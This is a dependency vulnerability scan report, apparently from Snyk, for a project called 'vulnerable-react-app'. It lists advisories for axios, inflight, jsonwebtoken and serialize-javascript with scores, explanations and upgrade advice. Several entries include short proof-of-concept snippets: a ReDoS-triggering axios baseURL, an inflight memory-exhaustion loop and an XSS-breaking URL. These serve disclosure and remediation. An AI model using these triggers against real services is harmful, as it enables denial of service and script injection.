### Cross-site Request Forgery (CSRF) in axios@0.24.0 (MEDIUM)

**Package:** `axios@0.24.0`
**CVE ID:** SNYK-JS-AXIOS-6032459
**CVSS Score:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N/E:P
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → axios@0.24.0

**Description:** ## Overview
[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the `X-XSRF-TOKEN` header using the secret `XSRF-TOKEN` cookie value in all requests to any server when the `XSRF-TOKEN`0 cookie is available, and the `withCredentials` setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.



## Workaround

Users should change the default `XSRF-TOKEN` cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.
## Remediation
Upgrade `axios` to version 0.28.0, 1.6.0 or higher.

### Regular Expression Denial of Service (ReDoS) in axios@0.24.0 (MEDIUM)

**Package:** `axios@0.24.0`
**CVE ID:** SNYK-JS-AXIOS-6124857
**CVSS Score:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → axios@0.24.0

**Description:** ## Overview
[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of `O(n^2)`. This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
## PoC
```js
const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/
```

## Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:
```js
regex = /A(B|C+)+D/
```

This regular expression accomplishes the following:
- `A` The string must start with the letter 'A'
- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.
- `D` Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`

It most cases, it doesn't take very long for a regex engine to find a match:

```bash
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
```

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

| String | Number of C's | Number of steps |
| -------|-------------:| -----:|
| ACCCX | 3 | 38
| ACCCCX | 4 | 71
| ACCCCCX | 5 | 136
| ACCCCCCCCCCCCCCX | 14 | 65,553


By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

## Remediation
Upgrade `axios` to version 0.29.0, 1.6.3 or higher.

### Server-side Request Forgery (SSRF) in axios@0.24.0 (MEDIUM)

**Package:** `axios@0.24.0`
**CVE ID:** SNYK-JS-AXIOS-9403194
**CVSS Score:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → axios@0.24.0

**Description:** ## Overview
[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting `allowAbsoluteUrls` to `false` by default when processing a requested URL in `buildFullPath()`. It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in [CVE-2025-27152](https://security.snyk.io/vuln/SNYK-JS-AXIOS-9292519).
## Remediation
Upgrade `axios` to version 0.30.0, 1.8.3 or higher.

### Missing Release of Resource after Effective Lifetime in inflight@1.0.6 (MEDIUM)

**Package:** `inflight@1.0.6`
**CVE ID:** SNYK-JS-INFLIGHT-6095116
**CVSS Score:** CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → sqlite3@5.1.7 → node-gyp@8.4.1 → glob@7.2.3 → inflight@1.0.6

**Description:** ## Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the `makeres` function due to improperly deleting keys from the `reqs` object after execution of callbacks. This behavior causes the keys to remain in the `reqs` object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the `node` process or in the application crash.

**Note:**
This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
## PoC
```js
const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();
```

### Missing Release of Resource after Effective Lifetime in inflight@1.0.6 (MEDIUM)

**Package:** `inflight@1.0.6`
**CVE ID:** SNYK-JS-INFLIGHT-6095116
**CVSS Score:** CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → sqlite3@5.1.7 → node-gyp@8.4.1 → make-fetch-happen@9.1.0 → cacache@15.3.0 → @npmcli/move-file@1.1.2 → rimraf@3.0.2 → glob@7.2.3 → inflight@1.0.6

**Description:** ## Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the `makeres` function due to improperly deleting keys from the `reqs` object after execution of callbacks. This behavior causes the keys to remain in the `reqs` object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the `node` process or in the application crash.

**Note:**
This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
## PoC
```js
const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();
```

### Improper Authentication in jsonwebtoken@8.5.1 (MEDIUM)

**Package:** `jsonwebtoken@8.5.1`
**CVE ID:** SNYK-JS-JSONWEBTOKEN-3180022
**CVSS Score:** CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:L
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → jsonwebtoken@8.5.1

**Description:** ## Overview
[jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the `jwt.verify()` function can lead to signature validation bypass due to defaulting to the `none` algorithm for signature verification. 

## Exploitability
Users are affected only if all of the following conditions are true for the `jwt.verify()` function:

1) A token with no signature is received.

2) No algorithms are specified.

3) A falsy (e.g., `null`, `false`, `undefined`) secret or key is passed.
## Remediation
Upgrade `jsonwebtoken` to version 9.0.0 or higher.

### Improper Restriction of Security Token Assignment in jsonwebtoken@8.5.1 (MEDIUM)

**Package:** `jsonwebtoken@8.5.1`
**CVE ID:** SNYK-JS-JSONWEBTOKEN-3180024
**CVSS Score:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → jsonwebtoken@8.5.1

**Description:** ## Overview
[jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the `secretOrPublicKey ` argument due to misconfigurations of the key retrieval function `jwt.verify()`. Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

**Note:**
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in `jwt.verify()` implementation with the same key retrieval function.
## Remediation
Upgrade `jsonwebtoken` to version 9.0.0 or higher.

Users are affected when using an algorithm and a key type _other_ than the combinations mentioned below:

EC: ES256, ES384, ES512
                  
RSA: RS256, RS384, RS512, PS256, PS384, PS512 

RSA-PSS: PS256, PS384, PS512                      

And for Elliptic Curve algorithms:

ES256: prime256v1

ES384: secp384r1

ES512:  secp521r1 

## Workaround 

Users who are unable to upgrade to the fixed version can use the  `allowInvalidAsymmetricKeyTypes` option  to `true` in the `sign()` and `verify()` functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
## Remediation
Upgrade `jsonwebtoken` to version 9.0.0 or higher.

### Cross-site Scripting (XSS) in serialize-javascript@5.0.1 (MEDIUM)

**Package:** `serialize-javascript@5.0.1`
**CVE ID:** SNYK-JS-SERIALIZEJAVASCRIPT-6147607
**CVSS Score:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P
**Fixed In:** `No direct fix available`
**Upgradable:** true
**Patchable:** false
**Dependency Path:** vulnerable-react-app@1.0.0 → serialize-javascript@5.0.1

**Description:** ## Overview
[serialize-javascript](https://www.npmjs.com/package/serialize-javascript) is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URLs. An Attacker can introduce unsafe `HTML` characters through non-http `URLs`.
## PoC
```js
const serialize = require('serialize-javascript');

let x = serialize({
    x: new URL("x:</script>")
});

console.log(x)
```
## Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML)  in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as  `&lt`; and `>` can be coded as `&gt`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
 
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. 

### Types of attacks
There are a few methods by which XSS can be manipulated:

|Type|Origin|Description|
|--|--|--|
|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|
|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| 
|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|
|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|

### Affected environments
The following environments are susceptible to an XSS attack:

* Web servers
* Application servers
* Web application environments

### How to prevent
This section describes the top best practices designed to specifically protect your code: 

* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. 
* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. 
* Give users the option to disable client-side scripts.
* Redirect invalid requests.
* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

## Remediation
Upgrade `serialize-javascript` to version 6.0.2 or higher.
